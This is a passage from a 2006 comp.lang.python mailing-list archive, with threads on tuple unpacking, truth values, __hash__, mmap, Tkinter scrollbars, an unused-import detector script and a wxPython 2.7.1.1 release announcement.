in; then re-reading Johns question and trying even harder to put myself
in his shoes.
What I am interested in is if John and others might just take time out
to critique the replies. I'm interested in what the group think makes a
good comp.lang.python reply: too short, too long; too cryptic, too
simplistic, too polite (is their such a thing), too nasty; too
self-effacing, too self-promoting; too long a sig ;-) ,  too anonymous
...

Paddy wrote:
> John Salerno wrote:
> > I'm a little confused, but I'm sure this is something trivial. I'm
> > confused about why this works:
> >
> >  >>> t = (('hello', 'goodbye'),
> >       ('more', 'less'),
> >       ('something', 'nothing'),
> >       ('good', 'bad'))
> >  >>> t
> > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'),
> > ('good', 'bad'))
> >  >>> for x in t:
> > 	print x
> >
> >
> > ('hello', 'goodbye')
> > ('more', 'less')
> > ('something', 'nothing')
> > ('good', 'bad')
> >  >>> for x,y in t:
> > 	print x,y
> >
> >
> > hello goodbye
> > more less
> > something nothing
> > good bad
> >  >>>
> >
> > I understand that t returns a single tuple that contains other tuples.
> > Then 'for x in t' returns the nested tuples themselves.
> >
> > But what I don't understand is why you can use 'for x,y in t' when t
> > really only returns one thing. I see that this works, but I can't quite
> > conceptualize how. I thought 'for x,y in t' would only work if t
> > returned a two-tuple, which it doesn't.
> >
>
> Hi John,
>
> Thats the point were you go astray.
> iterating over t *does* produce a 2-tuple that can be unpacked
> immediately.
>
> maybe this will help, (notice that element is always one of the inner
> tuples):
>
> >>> tpl = ((00,01), (10,11), (20,21))
> >>> for element in tpl:
> ... 	print "tpl provides this when iterated over:", element
> ...
> tpl provides this when iterated over: (0, 1)
> tpl provides this when iterated over: (10, 11)
> tpl provides this when iterated over: (20, 21)
> >>> for element in tpl:
> ... 	print "tpl provides this when iterated over:", element
> ... 	sub0, sub1 = element
> ... 	print "each element unpacks to:", sub0,"and:", sub1
> ...
> tpl provides this when iterated over: (0, 1)
> each element unpacks to: 0 and: 1
> tpl provides this when iterated over: (10, 11)
> each element unpacks to: 10 and: 11
> tpl provides this when iterated over: (20, 21)
> each element unpacks to: 20 and: 21
> >>> for sub0, sub1 in tpl:
> ... 	print "each element of tuple unpacked immediately to:",
> sub0,"and:", sub1
> ...
> each element of tuple unpacked immediately to: 0 and: 1
> each element of tuple unpacked immediately to: 10 and: 11
> each element of tuple unpacked immediately to: 20 and: 21
> >>> 
> 
> 
> - Paddy.



From rasmussen.bryan at gmail.com  Mon Oct  9 07:54:32 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Mon, 9 Oct 2006 13:54:32 +0200
Subject: intercepting keypresses, mouse movements, joystick movements.
Message-ID: <3bb44c6e0610090454s57fb9e43u9e709d1b367530e8@mail.gmail.com>

Hi,

I've been looking at autohotkey to do some different usability hacks
for windows http://www.autohotkey.com/
one of the benefits of this language is it allows one to catch
keyboard usage, joystick usage, and mouse usage inputs very easily at
a global level or at application levels by watching applications for
events within the applications.

I was wondering if there were any python libraries that provided
similar functionality before I went ahead with the project though.

Cheers,
Bryan Rasmussen


From rrr at ronadam.com  Sat Oct 21 02:58:33 2006
From: rrr at ronadam.com (Ron Adam)
Date: Sat, 21 Oct 2006 01:58:33 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <pan.2006.10.21.05.28.17.991220@REMOVE.THIS.cybersource.com.au>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
	<pan.2006.10.21.05.28.17.991220@REMOVE.THIS.cybersource.com.au>
Message-ID: <WBj_g.6839$fl.2258@dukeread08>

Steven D'Aprano wrote:
> On Thu, 19 Oct 2006 20:07:27 -0400, Brad wrote:
> 
>> Steven D'Aprano wrote:
>>
>>> Gah!!! That's *awful* in so many ways.
>> Thanks... I'm used to hearing encouragement like that. After a while you 
>> begin to believe that everything you do will be awful, so why even 
>> bother trying?
> 
> Well obviously I hit a sore point. I wrote a little hastily, and wasn't
> quite as polite as I could have been -- but it is true, the function you
> wrote isn't good: a seven line function with five problems with it.
> 
> Your function was not at all Pythonic; but it isn't even good style for
> any serious programming language I know of. I'm sorry if I came across as
> abrasive, but I'm even sorrier that you can't take constructive criticism.
> Some techniques are bad practice in any language.

Steven, I think just took things a little out of context, and yes you were a bit 
overly harsh.  But I've also read enough of your post to know you most likely 
did not mean any insult either.

Brad's little reminder program was not meant to be actually used in a program as 
is of course, but was a small script for him to run so he could see what was 
happening visually. Yes, it could be improved on for that purpose too.  But for 
what it's purpose is, does it really matter that much?  It does what he meant it 
to do.

Yes, a small dose of politeness, (tactfulness isn't quite the same as suger 
coating), always helps when pointing out where others can make improvements 
especially while they are still learning their way around.

With that said, If it were me who wrote something that you really thought was 
bad, then blast away! ;) (without insulting me of course.)  I'd probably take a 
second look and agree with you.  But I've been programming python since version 
2.3 and as a more experienced programmer will appreciate the honest feed back.


[You said from an earlier post...]

> (That's a complaint I have about the dis module -- it prints its results,
> instead of returning them as a string. That makes it hard to capture the
> output for further analysis.)

I have a rewritten version of dis just sitting on my hard disk that fixes 
exactly that issue.  It needs to be updated to take into account some newer 2.5 
features and the tests will need to be updated so they retrieve dis's output 
instead of redirecting stdout.  If you'd like to finish it up and submit it as a 
patch, I can forward it to you.  It would be good to have a second set of eyes 
look at it also.

Cheers,
    Ron


From slawomir.nowaczyk.847 at student.lu.se  Fri Oct 27 18:12:39 2006
From: slawomir.nowaczyk.847 at student.lu.se (Slawomir Nowaczyk)
Date: Sat, 28 Oct 2006 00:12:39 +0200
Subject: question about True values
In-Reply-To: <1161973508.972142.109500@i42g2000cwa.googlegroups.com>
References: <pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
Message-ID: <20061028000415.8709.SLAWOMIR.NOWACZYK.847@student.lu.se>

On Fri, 27 Oct 2006 11:25:09 -0700
Carl Banks <pavlovevidence at gmail.com> wrote:

#> P.S. binary trees do have length: it's the number of nodes, just as
#> the number of keys is the length of a dict. I can't think of any
#> objects that use indexing but don't have a length,

Well, infinite lists (either circular or dynamically-growing) would be
one (unless you consider infinity to be a valid value of length, of
course).

Dictionaries with default value would be another (of course, Python 2.5
defaultdict *does* have length, but I would claim it is a wart).

But I agree those are pathological cases.

-- 
 Best wishes,
   Slawomir Nowaczyk
     ( Slawomir.Nowaczyk at cs.lth.se )

Programmer - A red-eyed, mumbling mammal
capable of conversing with inanimate objects.



From paul at boddie.org.uk  Sat Oct 14 11:43:51 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 14 Oct 2006 08:43:51 -0700
Subject: wing ide vs. komodo?
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
	<XMSXg.27356$Go3.11355@dukeread05>
	<1160778985.576091.39700@e3g2000cwe.googlegroups.com>
	<QuudnTCzFO40ra3YnZ2dnUVZ_rednZ2d@comcast.com>
Message-ID: <1160840631.453467.92410@k70g2000cwa.googlegroups.com>

Heikki Toivonen wrote:
> Paul Boddie wrote:
> > hg wrote:
> >> PS: I also was taken aback by the fact that the PyDev license was
> >> "per-year" ... it's like buying Word for a year only ... isn't it ?
> >
> > Flashbacks to the age of shareware seem to be commonplace in the realm
> > of Eclipse, or that's how the scene seems to me.
>
> You are confusing Pydev and Pydev Extensions. The former is free, the
> latter costs money and has some advanced features. The Pydev maintainer
> launched Pydev Extensions to get some extra cash and let him spend more
> time on Pydev development.

I think hg was confusing the two; I was merely making general remarks
about the Eclipse scene, and in particular certain J2EE-related
products which seem to add little value yet come with a price tag.

Paul



From scott.daniels at acm.org  Thu Oct  5 17:30:38 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 05 Oct 2006 14:30:38 -0700
Subject: Graph Theory
In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
Message-ID: <45257185$1@nntp0.pdx.net>

diffuser78 at gmail.com wrote:
> Are there any visualization tool which would depict the random graph 
> generated by the libraries.

Google for DOT  (.DOT format w/ renders to a variety of output formats).

-- 
--Scott David Daniels
scott.daniels at acm.org


From rhymes at myself.com  Sun Oct 15 10:56:59 2006
From: rhymes at myself.com (Lawrence Oluyede)
Date: Sun, 15 Oct 2006 16:56:59 +0200
Subject: Where I can find
References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com>
Message-ID: <1hn9dpq.77vjtv17nxbnxN%rhymes@myself.com>

<vedran_dekovic at yahoo.com> wrote:
> Where I can find this files(modules):
> 
> fcntl,FCNTL,tty,termios, TERMIOS

import fcntl
import tty
import termios

for start :-)

-- 
Lawrence - http://www.oluyede.org/blog
http://www.neropercaso.it
"Nothing is more dangerous than an idea
if it's the only one you have" - E. A. Chartier


From mike.klaas at gmail.com  Wed Oct 25 15:28:12 2006
From: mike.klaas at gmail.com (Klaas)
Date: 25 Oct 2006 12:28:12 -0700
Subject: new-style classes, __hash__. is the documentation wrong?
In-Reply-To: <a04a6$453fb511$59ad1aca$1677@news.flashnewsgroups.com>
References: <a04a6$453fb511$59ad1aca$1677@news.flashnewsgroups.com>
Message-ID: <1161804492.893768.270090@i42g2000cwa.googlegroups.com>

gabor wrote:

> ====
> If a class defines mutable objects and implements a __cmp__() or
> __eq__() method, it should not implement __hash__(), since the
> dictionary implementation requires that a key's hash value is immutable
> (if the object's hash value changes, it will be in the wrong hash bucket).
> ====

> now, with new style classes, the class will have __hash__, whatever i
> do. (well, i assume i could play with __getattribute__...).

There is a proposal to fix this, though I don't think we'll see it for
a while.

class CantHash(object):
    __hash__ = None

> so is that part of the documentation currently wrong?

yes

> because from what i see (the bug will not be fixed),
> it's still much safer to define a __hash__ even for mutable objects
> (when the object also defines __eq__).

Better is to define __hash__ in a way that prevents errors:

class Mutable(object):
    def __hash__(self):
          raise TypeError('unhashable instance')

It will behave similarly to an old-style class that defines __eq__ and
not __hash__

-Mike



From scott.daniels at acm.org  Sun Oct  1 15:34:03 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 12:34:03 -0700
Subject: windev vs python SOS
In-Reply-To: <nXzSg.195$nn3.31@nntpserver.swip.net>
References: <nXzSg.195$nn3.31@nntpserver.swip.net>
Message-ID: <4520104f$1@nntp0.pdx.net>

st?phane bard wrote:
> hello, my boss ask me to prefer windev to python.
> I have to argue
> 
>  - python work on multiple platform (linux, mac, windows)
>     A good point but it didn't interest him. Because
>     we want to choose a language for prototyping.
>     So multi platform is not enough.
> 
>  - python and windev are fast to develop
> 
>  - windev as a good IDE, python? boa-constructor is ok with wxpython
> 
>  - python is open source (that's not an argument for my boss, sorry 
> it's     a boss ...)
> 
> any idea for a strong argument ?

Well, this seems to me like a "Is it faster to New York, or by train"
kind of question.  "WinDev" is not a language, Python is.  "WinDev" is a
tool which includes a language.  At least make sure you are comparing
similar things ("Python and the WinDev language" or "Komodo and WinDev"
or "Idle and WinDev").

Note, I have never been successful with explaining this to any of my
employers that didn't just trust me on these decisions.  I have a nasty
habit of saying things like:
     "'Visual Basic' is not a language; 'Visual Basic 5.0' is a language
     with a vague similarity to the language 'Visual Basic 6.0'."
and:
     "SQL is not a language; it is (at best) a family of languages."

While these statements do mean something to experienced programmers,
they seem to contradict everything a power-point wielding IT executive
who understands everything "from a 5000 foot point of view" knows to
be true.  I really wish I knew how to explain these things politically.

--Scott David Daniels
scott.daniels at acm.org


From ironfroggy at gmail.com  Wed Oct  4 03:31:15 2006
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Wed, 4 Oct 2006 03:31:15 -0400
Subject: Need help with syntax on inheritance.
In-Reply-To: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
Message-ID: <76fd5acf0610040031t55921d18obdc1366b9e595819@mail.gmail.com>

On 3 Oct 2006 19:09:53 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> If you are deriving a new class from another class,
> that you must (I assume) know the initializer of the other class.
>
> So in myClass
>
> import array
> class myClass(arrary.array):
>    def __init__(self, now here I need to put array's constructor
> parameters..., then mine):
>       array.array.__init__(self, typecode[, initializer])
>       self.mine = mine
>
> So I'm confused...
> array has a typecode parameter and an optional initiializer...
> So could you help me with the class construction here please?

If you need to take the same parameters as your super-class, and it
includes optional positional parameters, then simply call with
keywords to avoid the optional parameter:

   myClass(typecode, mine=something)

It has less to do with defining the parameters than calling the function.


From martin at v.loewis.de  Tue Oct 24 13:29:57 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 19:29:57 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161649124.962144.127140@e3g2000cwe.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
	<1161649124.962144.127140@e3g2000cwe.googlegroups.com>
Message-ID: <453E4D95.7080204@v.loewis.de>

sturlamolden schrieb:
> Martin v. L?wis wrote:
> 
>> What architecture are you on? On a 32-bit architecture, it's likely
>>  impossible to map in 2GiB, anyway (since it likely won't fit into
>> the available address space).
> 
> Indeed. But why does Python's memory mapping need to be flushed?

It doesn't need to, why do you think it does?

> And why doesn't Python's mmap take an offset argument to handle large
> files?

I don't know exactly; the most likely reason is that nobody has
contributed code to make it support that. That's, in turn, probably
because nobody had the problem yet, or nobody of those who did
cared enough to implement and contribute a patch.

> Is Python actually memory mapping with mmap or just faking it
> with fseek?

Read the source, Luke. It uses mmap or MapViewOfFile, depending
on the platform.

Regards,
Martin


From gagsl-py at yahoo.com.ar  Thu Oct 19 15:34:12 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 16:34:12 -0300
Subject: Calling a definition
In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061019163016.05a860a8@yahoo.com.ar>

At Thursday 19/10/2006 15:43, elake wrote:

>I have a piece of code that I need some help with. It is supposed (in
>my mind at least) take two arguments, a start path and a file
>extension. Then when called it should return each of the file paths
>that are found matching the criteria. It is only returning the first
>file that it finds. What am I doing wrong?

Someone else has shown how to make your code work. But notice that 
you don't even need the findFileExt function: see the glob module.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From nicolasg at gmail.com  Tue Oct  3 04:46:18 2006
From: nicolasg at gmail.com (NicolasG)
Date: 3 Oct 2006 01:46:18 -0700
Subject: I need Cryptogrphy in Python please .
In-Reply-To: <1159863191.600082.78980@c28g2000cwb.googlegroups.com>
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
	<1159863191.600082.78980@c28g2000cwb.googlegroups.com>
Message-ID: <1159865178.605751.151280@i42g2000cwa.googlegroups.com>

I have made a site using Karrigell as a web server and I want to
provide cryptography services to the visitors. They should wirte their
text on the site and be able choose different encryption algorithms to
apply on the text .

MonkeeSage wrote:
> NicolasG wrote:
> > I have installed .NET framework latest release.
>
> The SDK is different from the framework. ;)

How can I fix this ?

>
> > Can some one guide me how to fix the problem above or point me to
> > another Cyrptography library that I can use easily ?
>
> Prebuilt binaries:
> http://www.voidspace.org.uk/python/modules.shtml#pycrypto

I need the modules source to use it with my web server.

> Ps. The project still looks active to me, and has an active mailing
> list:
> http://www.amk.ca/python/code/crypto.html

The last messages in the mailing list was on august (only one message)
and the author does  said that he does not reply to the this list , he
point if anyone have an issue to use the bug trucker at sourceforge
which looks not helpful ...

cheers.. 

> Jordan



From klachemin at comcast.net  Fri Oct 20 19:08:27 2006
From: klachemin at comcast.net (Kamilche)
Date: 20 Oct 2006 16:08:27 -0700
Subject: Detect Unused Modules
Message-ID: <1161385707.141179.174310@b28g2000cwb.googlegroups.com>

'''
DetectUnusedModules.py - Detect modules that were imported but not used
in a file.
When run directly, this class will check all files in the current
directory.
'''

import os
import tokenize

class PrintUnusedModules(object):
    state = 0
    importlist = None
    linenumbers = None

    def __init__(self, filename):
        self.filename = filename
        self.importlist = {}
        self.linenumbers = {}
        fd = open(filename, 'rU')
        tokenize.tokenize(fd.readline, self.FindImports)
        fd = open(filename, 'rU')
        tokenize.tokenize(fd.readline, self.FindReferences)
        for mod, ctr in self.importlist.items():
            if ctr == 0:
                print '   File "%s", line %d, "%s" is imported but not
referenced.' % (self.filename, self.linenumbers[mod], mod)

    def FindImports(self, toktype, tokval, tokstart, tokend, tokline):
        ' Build a list of modules this module imports'
        if self.state == 0:
            if toktype == tokenize.NAME:
                if tokval == 'import':
                    self.state = 1
                    self.mods = []
        elif self.state == 1:
            if toktype == tokenize.NAME:
                if tokval == 'import':
                    pass
                elif tokval == 'as':
                    del self.mods[-1]
                else:
                    self.mods.append((tokval, tokstart[0]))
            elif toktype == tokenize.OP:
                pass
            elif toktype == tokenize.NEWLINE:
                for mod, linenum in self.mods:
                    self.importlist[mod] = 0
                    self.linenumbers[mod] = linenum
                self.state = 0

    def FindReferences(self, toktype, tokval, tokstart, tokend,
tokline):
        ' Find all references to the imported modules'
        if self.state == 0:
            if toktype == tokenize.NAME:
                if tokval == 'import':
                    self.state = 1
                elif tokval in self.importlist:
                    self.importlist[tokval] += 1
        elif self.state == 1:
            if toktype == tokenize.NEWLINE:
                self.state = 0

def ProcessDir(pathname = None):
    if pathname == None:
        pathname = os.getcwd()
    else:
        pathname = os.path.abspath(pathname)
    for shortname in os.listdir(pathname):
        filename = os.path.join(pathname, shortname)
        if filename[-3:] == '.py':
            print 'Checking %s...' % filename
            PrintUnusedModules(filename)

def main():
    print 'Unused Module List'
    ProcessDir()
    print 'Done!'

if __name__ == '__main__':
    main()



From duncan.booth at invalid.invalid  Tue Oct 10 03:45:01 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 10 Oct 2006 07:45:01 GMT
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
Message-ID: <Xns98585798B4CC5duncanbooth@127.0.0.1>

"Stuart McGraw" <smcg4191zz at friizz.RimoovAllZZs.com> wrote:

> So, does raw_input() ever return unicode objects and if
> so, under what conditions?
> 
It returns unicode if reading from sys.stdin returns unicode.

Unfortunately, I can't tell you how to make sys.stdin return unicode for 
use with raw_input. I tried what I thought should work and as you can see 
it messed up the buffering on stdin. Does anyone else know how to wrap 
sys.stdin so it returns unicode but is still unbuffered?

Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] 
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys, codecs
>>> sys.stdin.encoding
'cp437'
>>> sys.stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin)
>>> raw_input()
hello world
still going?
^Z
^Z
u'hello world'
>>>



From jcd at sdf.lonestar.org  Fri Oct 27 19:17:42 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Fri, 27 Oct 2006 17:17:42 -0600
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
Message-ID: <ehu42d$jff$1@chiara.aioe.org>

I do see how mapping to Truth/Falsehood is more natural, and I do 
believe that one of the great things about python is that it feels 
natural in so many ways, and hence makes it easy to produce code, but 
the one thing that Ms. Creighton points out that I can't get past is 
that Python, even with its bool type, *still* evaluates somethingness 
and nothingness, and True and False are just numbers with hats on.

 >>> True + 3
4
 >>> bool(True-1)
False
 >>> bool(True-2)
True
 >>> (10 > 5) + (10 < 5)
1

So when you say

 >>>if 10 > 5:
...	print "Yes!"

Python is not evaluating the truth of the matter, but, as Ms. Creighton 
would say, the "somethingness" of that which 10 > 5 evaluates to.  (1 
aka True)

Furthermore, how do you explain this bizarreness in terms of "Truth" and 
"Falsehood?"  You have to go back to the fact that True=1 and that 
REALLY, Python is dealing with somethingness and nothingness.  It might 
not be as direct a mental connection as True/False, but it is certainly 
a more accurate one for understanding how Python works.

 >>> (1 > 0) < 1
False
 >>> 1 > 0 < 1
True
 >>> 1 > (0 < 1)
False
 >>> 10 > (0 < 1)
True

Finally, while True/False is a good mental mapping for numeric 
comparisons, take the following:

 >>> if "Cliff is a pillar of the open source community":
...	print "thank you"
... else:
...	print "bugger off"

bugger off

Clearly this is not true.  (Google Cliff/Dyer open source: only 11 
hits.), but the string is *something* so the if block gets evaluated.

Cheers,
Cliff


From __peter__ at web.de  Mon Oct  2 11:14:35 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 02 Oct 2006 17:14:35 +0200
Subject: How can I make a class that can be converted into an int?
References: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
Message-ID: <efra9h$2se$02$1@news.t-online.com>

Matthew Wilson wrote:

> What are the internal methods that I need to define on any class so that
> this code can work?
> 
> c = C("three")
> 
> i = int(c) # i is 3
> 
> I can handle the part of mapping "three" to 3, but I don't know what
> internal method is called when int(c) happens.

>>> class C(object):
...     def __int__(self): return 42
...
>>> int(C())
42

> For string conversion, I just define the __str__ method.  What's the
> equivalent for int?  For float, too, while I'm at it?

http://docs.python.org/ref/numeric-types.html

Peter


From inq1ltd at verizon.net  Sun Oct 29 11:48:57 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Sun, 29 Oct 2006 11:48:57 -0500
Subject: Computer locks up when running valid stand alone Tkinter file.
In-Reply-To: <1161831949.926000.65680@e3g2000cwe.googlegroups.com>
References: <mailman.1221.1161821549.11739.python-list@python.org>
	<1161831949.926000.65680@e3g2000cwe.googlegroups.com>
Message-ID: <200610291148.57691.inq1ltd@verizon.net>


Thanks for responding,

For those who care.
The solution to the problem was;

First, I did not give a parent to the Yview 
scrollbar.

Next, I used the pack geometry for this class and 
everything else is grid geometry.

When run stand alone it ran fine because the Yview 
scrollbar attached itself to the default parent, 
but when run from another module, it locked up.

The difficulty is really in the fact that 
scrollbar Yview without a parent tried to attach 
itself to the root Tk, already built and running 
with grid geometry.

Pack and grid in the same Frame don't get along 
(computer lockup).

Give Yview a parent, problem solved. 
Changed pack to grid anyway.


jim-on-linux

http://www.inqvista.com




On Wednesday 25 October 2006 23:05, you wrote:
> > But, when I call it from another module it
> > locks
>
> methinks this "other module" has the answer.
>
> jim-on-linux wrote:
> > py help,
> >
> > The file below will run as a stand alone
> > file. It works fine as it is.
> >
> > But, when I call it from another module it
> > locks my computer, The off switch is the only
> > salvation.
> >
> > This module when run as a stand alone, it
> > will open a jpeg image and add a vertical and
> > horizontal scrollbar to the canvass. That's
> > all it does.
> >
> > Replace the img9.jpg file with one of your
> > own, put the image in the current working
> > dir., and run.
> >
> > If you think you can help, I would appreciate
> > it.
> >
> >
> > jim-on-linux
> >
> >
> >
> >
> >
> > ############################################
> >
> > #!/usr/bin/env python
> >
> > """
> > #############################################
> > import Tkinter as Tk
> >
> >     Do not do
> >     ( from Tkinter import * )
> >     because of  name space conflict with
> > Image.open
> >
> > #############################################
> >#
> >
> > ####    below imports  Image and ImageTk are
> > from ####    Imaging-1.1.5, PIL  in Python
> >
> > """
> >
> >
> > import Image
> > import  ImageTk
> > import Tkinter as Tk
> > import os
> >
> > vpath = os.getcwd()+os.sep+'img9.jpg'
> >
> >
> >
> > class Kshow_0 :
> >
> >     def __init__(self ) :
> >         self.Fimgshow0()
> >
> >     def Fimgshow0(self ) :
> >         window = Tk.Tk()    # used for stamd
> > alone
> >
> >        #  window = Tk.Toplevel()
> >          # Above Toplevel call used when
> > running # from another file
> >
> >
> >
> >         window.title(' Image Location '+vpath
> > ) window.protocol('WM_DELETE_WINDOW',
> > window.destroy)
> >
> >         vcanvas = Tk.Canvas(window, width =
> > 375, height=375, borderwidth = 1, bg=
> > 'white')
> >
> >         sbarY=Tk.Scrollbar()
> >         sbarX = Tk.Scrollbar(
> > orient='horizontal') sbarY.config(command=
> > vcanvas.yview) sbarX.config(command=
> > vcanvas.xview)
> >
> >        
> > vcanvas.config(yscrollcommand=sbarY.set)
> > vcanvas.config(xscrollcommand=sbarX.set)
> >
> >         sbarY.pack(side='right', fill='y')
> >         sbarX.pack(side='bottom', fill='x')
> >         vcanvas.pack(expand='yes', 
> > fill='both')
> >
> >         im= Image.open( vpath)
> >         tkim = ImageTk.PhotoImage(im)
> >
> >         imgW = tkim.width()
> >         print imgW, '## imgW, jpg 58\n'
> >
> >         imgH = tkim.height()
> >         print imgH, '## imgH, jpg 61\n'
> >
> >         # Draw the image on the canvas
> >         vcanvas.create_image(0, 0, 
> > image=tkim, anchor = 'nw'  )
> >
> >         vcanvas.config(scrollregion= (0, 0,
> > imgW, imgH)) window.mainloop ()
> >
> >
> > if __name__ == '__main__' :
> >
> >     Kshow_0()


From roy at panix.com  Tue Oct 17 10:10:19 2006
From: roy at panix.com (Roy Smith)
Date: Tue, 17 Oct 2006 10:10:19 -0400
Subject: Tertiary Operation
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
	<mailman.636.1161092631.11739.python-list@python.org>
	<1161093117.541719.320210@i3g2000cwc.googlegroups.com>
Message-ID: <roy-E5C232.10101917102006@reader2.panix.com>

In article <1161093117.541719.320210 at i3g2000cwc.googlegroups.com>,
 "abcd" <codecraig at gmail.com> wrote:

> Carsten Haese wrote:
> > Use Python 2.5 where there is a true conditional
> > expression or find another way to solve your problem.
> 
> python 2.5 once we upgrade (hopefully soon), anyways...an earlier post
> suggested the inverse...
> 
> x = None
> result = (x is not None and str(x) or "")
> 
> which works just fine.
> 
> thanks.

Why not just:

if x is None:
   result = str(x)
else:
   result = ""

It's a couple more lines of code, but it's obvious what it means.  I know 
about boolean short-circuit evaluation, and the and/or trick, but I still 
look at

result = (x is not None and str(x) or "")

and have to puzzle through exactly what's going on there.  You are going to 
write your code once.  It's going to be read many many times by different 
people.  It's worth a few more keystrokes on your part to save all those 
future maintenance programmers headaches later.

You won't really understand just how important readability is until you're 
maintaining a million lines of old code, most of it written by people who 
are no longer on the project.  I spend a lot of time staring at code 
somebody else wrote and muttering things like, "What the **** does this 
do?"  That's just money down the toilet.

If I have to reach for a reference manual to look up operator binding rules 
to understand a piece of code, that's bad.  If I have to start making notes 
on a piece of scrap paper, "Let's see, if x is this, then that's true, so 
blah, blah", that's bad.  If I look at something subtle, don't realize it's 
subtle, and come to an incorrect conclusion about what it does, then base 
some other decisions on that incorrect conclusion, that's really, really 
bad.


From ckaiser at floodgap.com  Wed Oct  4 08:50:01 2006
From: ckaiser at floodgap.com (Cameron Kaiser)
Date: 4 Oct 2006 07:50:01 -0500
Subject: Getting Pygopherd to work under Mac OS X
References: <1159954464.194392.190600@m73g2000cwd.googlegroups.com>
Message-ID: <4523adaa$0$37650$bb4e3ad8@newscene.com>

mattabat at gmail.com writes:

>Could someone *please* show us poor Mac users how to install and run
>Pygopherd successfully under Mac OS X? The latest version 2.0.4, as
>found at http://freshmeat.net/projects/pygopherd/ is my bane. I think I
>talked to John Goerzen, the maintainer, a while back but nothing came
>of it.
>I've tried this twice now, following the instructions given and have
>found nothing but grief and many errors.
>For a Python app it seems to be rather platform dependant! Does
>Pygopherd need to be altered somehow to work under OS X?
>If Pygopherd is a lost cause, can someone recommend another
>*maintained* gopher daemon with instructions that would allow its' use
>under OS X?

Can you be more specific about what doesn't work? I'm not sure what you
mean by platform dependent in this case.

--
      Cameron Kaiser * ckaiser at floodgap.com * posting with a Commodore 128
                personal page: http://www.armory.com/%7Espectre/
  ** Computer Workshops: games, productivity software and more for C64/128! **
                  ** http://www.armory.com/%7Espectre/cwi/ **


From robin at alldunn.com  Thu Oct 19 14:21:10 2006
From: robin at alldunn.com (Robin Dunn)
Date: Thu, 19 Oct 2006 11:21:10 -0700
Subject: ANN: wxPython 2.7.1.1 released
Message-ID: <4537C216.2060503@alldunn.com>

Announcing
----------

The 2.7.1.1 release of wxPython is now available for download at
http://wxpython.org/download.php.  This release is the first offical
release in the 2.7.x development series, and includes a lot of new
features, enhancements and fixes.  Source and binaries are available
for both Python 2.4 and 2.5 for Windows and Mac, as well some pacakges
for varous Linux distributions.  A summary of changes is listed below
and also at http://wxpython.org/recentchanges.php.


What is wxPython?
-----------------

wxPython is a GUI toolkit for the Python programming language. It
allows Python programmers to create programs with a robust, highly
functional graphical user interface, simply and easily. It is
implemented as a Python extension module that wraps the GUI components
of the popular wxWidgets cross platform library, which is written in
C++.

wxPython is a cross-platform toolkit. This means that the same program
